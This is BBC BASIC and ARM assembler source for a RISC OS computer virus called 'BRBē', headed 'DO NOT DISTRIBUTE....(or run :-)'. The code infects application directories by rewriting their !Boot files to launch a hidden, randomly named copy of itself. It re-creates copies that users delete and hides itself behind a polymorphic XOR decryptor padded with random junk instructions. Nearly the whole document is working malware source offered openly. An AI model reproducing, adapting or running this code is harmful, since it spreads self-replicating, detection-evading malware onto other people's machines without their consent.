      30 : REM BRBē virus by ExStres
      40 : REM Source code
      50 : REM DO NOT DISTRIBUTE....(or run :-)
      60 : ON ERROR report$=REPORT$ + " at line " + STR$ERL:ERROR0,report$
      70 : c%=PAGE
      80 : r%=LOMEM-PAGE
      90 : :
     100 : DIM code r%+4096
     110 : DIM inf$(100,2)
     120 : DIM inf%(100)
     130 : infcnt%=-1
     140 : infects%=-1
     150 : DIM code% 2048
     160 : PROCassemble
     170 : :
     180 : REMOSCLI "Save moo &"+STR$~code+"+&"+STR$~(p%-code)
     190 : REMOSCLI "Save moo &"+STR$~codebase+"+&"+STR$~(r%-1)
     200 : :
     210 : DIM b% 16384
     220 : q%=FALSE
     230 : SYS "Wimp_Initialise",200,&4B534154,FNgetname TO ,t%
     240 : :
     250 : polls%=0
     260 : ON ERROR :
     270 : countit%=0
     280 : WHILE NOT q%
     290 : IF countit%=4 THEN countit%=0:PROCcheckinfects
     300 : countit%+=1
     310 : SYS "Wimp_Poll",,b% TO reason%,info%
     320 : IF reason%=17 OR reason%=18 THEN IF b%!16=5 THEN f$=FNgetstring(b%+44):unk%=TRUE:y%=b%!40:PROCinfect
     330 : ENDWHILE
     340 : SYS "Wimp_CloseDown",t%,&4B534154
     350 : :
     360 : END
     370 : :
     380 : DEFPROCcheckinfects
     390 : IF infects%>-1 THEN
     410 :   FOR iij=0 TO infects%
     420 :     file$=inf$(iij,0)+"."+inf$(iij,1)
     430 :     leng%=inf%(iij)
     440 :     SYS "XOS_File",5,file$ TO type%
     450 :     REMPRINT file$+" : "+STR$type%
     470 :     IF type%=0 THEN
     480 :       REM OH FLIBBLE ONE OF OUR VIRUSES HAS BEEN REMOVED!
     490 :       REM we better rebuilt it hadn't we :))
     500 :       f$=inf$(iij,0)
     510 :       nmy$=inf$(iij,1)
     520 :       unk%=FALSE
     521 :       y%=&2000
     530 :       PROCinfect
     540 :     ENDIF
     550 :   NEXT
     560 : ENDIF
     570 : ENDPROC
     580 : :
     590 : DEFFNgetstring(a%):s$="":WHILE (?a%<>13)AND(?a%<>0)
     600 : s$+=CHR$(?a%):a%+=1:ENDWHILE:=s$
     610 : :
     620 : DEFFNremdots(nm$)
     630 : WHILE INSTR(nm$,".")>0
     640 : nm$=MID$(nm$,INSTR(nm$,".")+1)
     650 : ENDWHILE
     660 : =nm$
     670 : :
     680 : DEFPROCinfect
     700 : IF y%=&2000 AND LEFT$(FNremdots(f$),1)="!" THEN
     710 :    SYS "XOS_File",5,f$+".!Boot" TO y%
     720 :    IF y%=1 THEN
     730 :       f%=OPENUP(f$+".!Boot")
     740 :       WHILE NOT EOF#f%
     750 :       t$=GET$#f%
     760 :       REMIF t$="|hacked" THEN CLOSE#f%:ENDPROC
     770 :       ENDWHILE
     780 :    ELSE
     790 :       IF y%=0 THEN f%=OPENOUT(f$+".!Boot")
     800 :    ENDIF
     810 :    IF y%=0 OR y%=1 THEN
     820 :       IF unk%=TRUE THEN
     830 :         nmy$=STR$RND(100)+STR$RND(100)+STR$RND(100)
     840 :         REPEAT
     850 :         nmy$=FNgetname
     860 :         SYS "XOS_File",5,f$+"."+nmy$ TO yv%
     870 :         UNTIL yv%=0
     880 :       ENDIF
     890 :       BPUT#f%,""
     900 :       REMBPUT#f%,"|hacked"
     910 :       slot%=64+RND(36)
     920 :       slot$=STR$(slot%+(slot% AND 3))
     930 :       BPUT#f%,"WimpSlot -min "+slot$+"k -max "+slot$+"k"
     940 :       BPUT#f%,"Filer_Run <obey$dir>."+nmy$
     950 :       CLOSE#f%
     960 :       OSCLI "Settype "+f$+".!Boot Obey"
     970 :       OSCLI "Save "+f$+"."+nmy$+" &"+STR$~code+"+&"+STR$~(p%-code)
     980 :       IF unk%=TRUE THEN
     990 :         SYS "OS_File",5,f$+"."+nmy$ TO type%
    1000 :         IF type%=1 THEN
    1010 :           IF infects%<99 THEN infects%+=1
    1020 :           infcnt%+=1
    1030 :           IF infcnt%=100 THEN infcnt%=0
    1040 :           inf$(infcnt%,0)=f$
    1050 :           inf$(infcnt%,1)=nmy$
    1060 :         ENDIF
    1070 :       ENDIF
    1080 :       REMSYS "XOS_File",10,f$+"."+nmy$,&FFB,,c%,c%+r%
    1090 :       PROCassemble
    1100 :    ENDIF
    1110 : ENDIF
    1120 : ENDPROC
    1130 : :
    1140 : DEFFNnoop
    1150 : nn=RND(10)
    1160 : IF nn<4 THEN =0
    1170 : FOR i=3 TO nn
    1180 : reg%=RND(10)
    1190 : CASE RND(18) OF
    1200 :   WHEN 2 : [opt pass
    1210 :               moveq reg%,reg%
    1220 :            ]
    1230 :   WHEN 3 : [opt pass
    1240 :               andeq reg%,reg%,reg%
    1250 :            ]
    1260 :   WHEN 4 : [opt pass
    1270 :               andne reg%,reg%,reg%
    1280 :            ]
    1290 :   WHEN 5 : [opt pass
    1300 :               andgt reg%,reg%,reg%
    1310 :            ]
    1320 :   WHEN 6 : [opt pass
    1330 :               andlt reg%,reg%,reg%
    1340 :            ]
    1350 :   WHEN 7 : [opt pass
    1360 :               andal reg%,reg%,reg%
    1370 :            ]
    1380 :   WHEN 8 : [opt pass
    1390 :               and reg%,reg%,reg%
    1400 :            ]
    1410 :   WHEN 9 : [opt pass
    1420 :               movne reg%,reg%
    1430 :            ]
    1440 :  WHEN 10 : [opt pass
    1450 :               movgt reg%,reg%
    1460 :            ]
    1470 :  WHEN 11 : [opt pass
    1480 :               movlt reg%,reg%
    1490 :            ]
    1500 :  WHEN 12 : [opt pass
    1510 :               mov reg%,reg%
    1520 :            ]
    1530 :  WHEN 13 : [opt pass
    1540 :               movne reg%,reg%
    1550 :            ]
    1560 :  WHEN 14 : [opt pass
    1570 :               movcc reg%,reg%
    1580 :            ]
    1590 :  WHEN 15 : [opt pass
    1600 :               movcs reg%,reg%
    1610 :            ]
    1620 :  WHEN 16 : [opt pass
    1630 :               movnv reg%,reg%
    1640 :            ]
    1650 : ENDCASE
    1660 : NEXT
    1670 : =0
    1680 : :
    1690 : DEFFNgetname
    1700 : LOCAL z$:z$=""
    1710 : FOR i=0 TO RND(5)+5
    1720 : num%=RND(50)+64
    1730 : IF num%>90 THEN num%+=7
    1740 : z$+=CHR$(num%)
    1750 : NEXT
    1760 : =LEFT$(z$,10)
    1770 : :
    1780 : DEFPROCassemble
    1790 : enc%=RND(255)
    1800 : aa=TIME
    1810 : FOR pass=0 TO 2 STEP 2
    1820 : P%=code
    1830 : REMPROCnoop
    1840 : bb=RND(-aa)
    1850 : select%=(RND(255) AND 3)
    1860 : CASE select% OF
    1870 :      REM First unecryption algorithm
    1880 :      WHEN 0 :  [opt pass
    1890 :                   FNnoop
    1900 :                   adr r0,codebase
    1910 :                   FNnoop
    1920 :                   mov r1,#0
    1930 :                   FNnoop
    1940 :                   ldr r4,mooit
    1950 :                   FNnoop
    1960 :                   mov r5,#enc%
    1970 :                   FNnoop
    1980 :               .go ldrb r3,[r0,r1]
    1990 :                   FNnoop
    2000 :                   eor r3,r3,r5
    2010 :                   FNnoop
    2020 :                   strb r3,[r0,r1]
    2030 :                   FNnoop
    2040 :                   add r1,r1,#1
    2050 :                   FNnoop
    2060 :                   cmp r1,r4
    2070 :                   FNnoop
    2080 :                   blt go
    2090 :               .start adr r0,str
    2100 :                      FNnoop
    2110 :                      swi "OS_CLI"
    2120 :                      FNnoop
    2130 :                      swi "OS_Exit"
    2140 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    2150 :               .str equd RND(255) ;0
    2160 :                    equd RND(255) ;4
    2170 :                    equd RND(255) ;8
    2180 :                    equd RND(255) ;16
    2190 :                    equd RND(255) ;20
    2200 :                    equd RND(255) ;24
    2210 :                    equd RND(255) ;28
    2220 :                    equd RND(255) ;32
    2230 :                    equd RND(255) ;36
    2240 :                    equd RND(255) ;48
    2250 :                    equd RND(255) ;52
    2260 :               ]:FOR i=0 TO RND(6):[opt pass
    2270 :                    equd RND(255)
    2280 :               ]:NEXT:[opt pass
    2290 :               .mooit equd 0
    2300 :               ]:FOR i=0 TO RND(6):[opt pass
    2310 :                    equd RND(255)
    2320 :               ]:NEXT:[opt pass
    2330 :               ]
    2340 :      WHEN 1 :  [opt pass
    2350 :                   FNnoop
    2360 :                   b encryp
    2370 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    2380 :               .str equd RND(255) ;0
    2390 :                    equd RND(255) ;4
    2400 :                    equd RND(255) ;8
    2410 :                    equd RND(255) ;16
    2420 :                    equd RND(255) ;20
    2430 :                    equd RND(255) ;24
    2440 :                    equd RND(255) ;28
    2450 :                    equd RND(255) ;32
    2460 :                    equd RND(255) ;36
    2470 :                    equd RND(255) ;48
    2480 :                    equd RND(255) ;52
    2490 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    2500 :               .encryp
    2510 :                   FNnoop
    2520 :                   adr r0,codebase
    2530 :                   FNnoop
    2540 :                   mov r1,#0
    2550 :                   FNnoop
    2560 :                   adr r12,str
    2570 :                   FNnoop
    2580 :                   ldr r4,mooit
    2590 :                   FNnoop
    2600 :                   mov r5,#enc%
    2610 :                   FNnoop
    2620 :                   b go
    2630 :                   FNnoop
    2640 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    2650 :               .mooit equd 0
    2660 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    2670 :                   FNnoop
    2680 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    2690 :               .go ldrb r3,[r0,r1]
    2700 :                   FNnoop
    2710 :                   eor r3,r3,r5
    2720 :                   FNnoop
    2730 :                   strb r3,[r0,r1]
    2740 :                   FNnoop
    2750 :                   add r1,r1,#1
    2760 :                   FNnoop
    2770 :                   cmp r1,r4
    2780 :                   FNnoop
    2790 :                   blt go
    2800 :                   FNnoop
    2810 :               .start mov r0,r12
    2820 :                   FNnoop
    2830 :                      swi "OS_CLI"
    2840 :                   FNnoop
    2850 :                      swi "OS_Exit"
    2860 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    2870 :               ]
    2880 :      WHEN 2:  [opt pass
    2890 :                   FNnoop
    2900 :                   b encryp
    2910 :                   FNnoop
    2920 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    2930 :               .encryp
    2940 :                   adr r0,codebase
    2950 :                   FNnoop
    2960 :                   mov r1,#0
    2970 :                   FNnoop
    2980 :                   b codeit
    2990 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    3000 :                   FNnoop
    3010 :               .str equd RND(255) ;0
    3020 :                    equd RND(255) ;4
    3030 :                    equd RND(255) ;8
    3040 :                    equd RND(255) ;16
    3050 :                    equd RND(255) ;20
    3060 :                    equd RND(255) ;24
    3070 :                    equd RND(255) ;28
    3080 :                    equd RND(255) ;32
    3090 :                    equd RND(255) ;36
    3100 :                    equd RND(255) ;48
    3110 :                    equd RND(255) ;52
    3120 :                   FNnoop
    3130 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    3140 :                   FNnoop
    3150 :               .mooit equd 0
    3160 :                   FNnoop
    3170 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    3180 :                   FNnoop
    3190 :               .ency strb r3,[r0,r1]
    3200 :                   FNnoop
    3210 :                   add r1,r1,#1
    3220 :                   FNnoop
    3230 :                   cmp r1,r4
    3240 :                   FNnoop
    3250 :                   blt go
    3260 :                   FNnoop
    3270 :                   b start
    3280 :                   FNnoop
    3290 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    3300 :                   FNnoop
    3310 :               .codeit adr r12,str
    3320 :                   FNnoop
    3330 :                   ldr r4,mooit
    3340 :                   FNnoop
    3350 :                   mov r5,#enc%
    3360 :                   FNnoop
    3370 :                   b go
    3380 :                   FNnoop
    3390 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    3400 :                   FNnoop
    3410 :               .go ldrb r3,[r0,r1]
    3420 :                   FNnoop
    3430 :                   eor r3,r3,r5
    3440 :                   FNnoop
    3450 :                   b ency
    3460 :                   FNnoop
    3470 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    3480 :                   FNnoop
    3490 :               .start mov r0,r12
    3500 :                   FNnoop
    3510 :                      swi "OS_CLI"
    3520 :                   FNnoop
    3530 :                      swi "OS_Exit"
    3540 :                   FNnoop
    3550 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    3560 :                   FNnoop
    3570 :               ]
    3580 :      WHEN 3:  [opt pass
    3590 :                   FNnoop
    3600 :                   b encryp
    3610 :                   FNnoop
    3620 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    3630 :                   FNnoop
    3640 :               .encryp
    3650 :                   FNnoop
    3660 :                   adr r0,codebase
    3670 :                   FNnoop
    3680 :                   mov r1,#0
    3690 :                   FNnoop
    3700 :                   b codeit
    3710 :                   FNnoop
    3720 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    3730 :                   FNnoop
    3740 :               .goto add r1,r1,#1
    3750 :                   FNnoop
    3760 :                   cmp r1,r4
    3770 :                   FNnoop
    3780 :                   b ret
    3790 :                   FNnoop
    3800 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    3810 :                   FNnoop
    3820 :               .str equd RND(255) ;0
    3830 :                    equd RND(255) ;4
    3840 :                    equd RND(255) ;8
    3850 :                    equd RND(255) ;16
    3860 :                    equd RND(255) ;20
    3870 :                    equd RND(255) ;24
    3880 :                    equd RND(255) ;28
    3890 :                    equd RND(255) ;32
    3900 :                    equd RND(255) ;36
    3910 :                    equd RND(255) ;48
    3920 :                    equd RND(255) ;52
    3930 :                   FNnoop
    3940 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    3950 :                   FNnoop
    3960 :               .mooit equd 0
    3970 :                   FNnoop
    3980 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    3990 :                   FNnoop
    4000 :               .ency strb r3,[r0,r1]
    4010 :                   FNnoop
    4020 :                   b goto
    4030 :                   FNnoop
    4040 :               .ret blt go
    4050 :                   FNnoop
    4060 :                   b start
    4070 :                   FNnoop
    4080 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    4090 :                   FNnoop
    4100 :               .codeit adr r12,str
    4110 :                   FNnoop
    4120 :                   ldr r4,mooit
    4130 :                   FNnoop
    4140 :                   mov r5,#enc%
    4150 :                   FNnoop
    4160 :                   b go
    4170 :                   FNnoop
    4180 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    4190 :                   FNnoop
    4200 :               .go ldrb r3,[r0,r1]
    4210 :                   FNnoop
    4220 :                   eor r3,r3,r5
    4230 :                   FNnoop
    4240 :                   b ency
    4250 :                   FNnoop
    4260 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    4270 :                   FNnoop
    4280 :               .start mov r0,r12
    4290 :                   FNnoop
    4300 :                      swi "OS_CLI"
    4310 :                   FNnoop
    4320 :                      swi "OS_Exit"
    4330 :                   FNnoop
    4340 :               ]:FOR i=0 TO RND(6):[opt pass:equd RND(255):]:NEXT:[opt pass
    4350 :                   FNnoop
    4360 :               ]
    4370 : ENDCASE
    4380 : [opt pass
    4390 : .codebase
    4400 : ]
    4410 : P%+=r%
    4420 : FORi=0 TO RND(100)
    4430 : [opt pass
    4440 :   equb RND(255)
    4450 : ]
    4460 : NEXT
    4470 : NEXT
    4480 : !mooit=r%
    4490 : p%=P%
    4500 : REMPRINT r%+1024
    4510 : REMPRINT P%-code
    4520 : :
    4530 : FOR pass=0 TO 2 STEP 2
    4540 : P%=code%
    4550 : [opt pass
    4560 :     ; r0 = base
    4570 :     ; r1 = size
    4580 :     ; r2 = target
    4590 :     ; r4 = 0
    4600 :     ; r5 = enccode
    4610 : .go ldrb r3,[r0,r4]
    4620 :     eor r3,r3,r5
    4630 :     strb r3,[r2,r4]
    4640 :     add r4,r4,#1
    4650 :     cmp r4,r1
    4660 :     blt go
    4670 :     mov pc,r14
    4680 : ]
    4690 : NEXT
    4700 : A%=c%:B%=r%:C%=codebase:E%=0:F%=enc%:CALL go
    4710 : cb%=codebase
    4720 : ct%=codebase+r%
    4730 : cb$=STR$~cb%:WHILE LEN(cb$)<8:cb$="0"+cb$:ENDWHILE
    4740 : ct$=STR$~ct%:WHILE LEN(ct$)<8:ct$="0"+ct$:ENDWHILE
    4750 : $str="BASIC -quit @"+cb$+","+ct$
    4760 : ENDPROC
    4770 : :

